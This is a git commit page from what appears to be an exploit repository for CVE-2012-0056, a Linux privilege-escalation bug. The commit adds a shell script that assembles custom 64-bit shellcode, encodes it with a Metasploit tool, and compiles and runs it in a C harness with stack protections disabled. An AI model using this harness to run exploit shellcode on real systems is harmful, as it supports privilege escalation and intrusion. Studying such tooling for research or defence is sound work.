aboutsummaryrefslogtreecommitdiffstats
path: root/run-shellcode.sh
diff options
context:
space:
mode:
authorJason A. Donenfeld <Jason@zx2c4.com>2012-01-22 04:37:23 +0100
committerJason A. Donenfeld <Jason@zx2c4.com>2012-01-22 04:37:23 +0100
commitdf106c579d69056f4bcef612f324d4ef0d71fb05 (patch)
treeb32acfc76c303db7ac880ca054751b683c97ed80 /run-shellcode.sh
parentMove around the banner. (diff)
downloadCVE-2012-0056-df106c579d69056f4bcef612f324d4ef0d71fb05.tar.xz
CVE-2012-0056-df106c579d69056f4bcef612f324d4ef0d71fb05.zip
Add custom 64bit shellcode and preserve stderr.
Diffstat (limited to 'run-shellcode.sh')
-rwxr-xr-xrun-shellcode.sh2
1 files changed, 2 insertions, 0 deletions
diff --git a/run-shellcode.sh b/run-shellcode.sh
new file mode 100755
index 0000000..5ffcf39
--- /dev/null
+++ b/run-shellcode.sh
@@ -0,0 +1,2 @@
+#!/bin/sh
+nasm -o /dev/stdout shellcode-64.s | msfencode4.0 -t c -e generic/none -b '\x00' > harness.c && echo "void main() { (*(void(*)())buf)(); }" >> harness.c && gcc -fno-stack-protector -z execstack -o harness harness.c && ./harness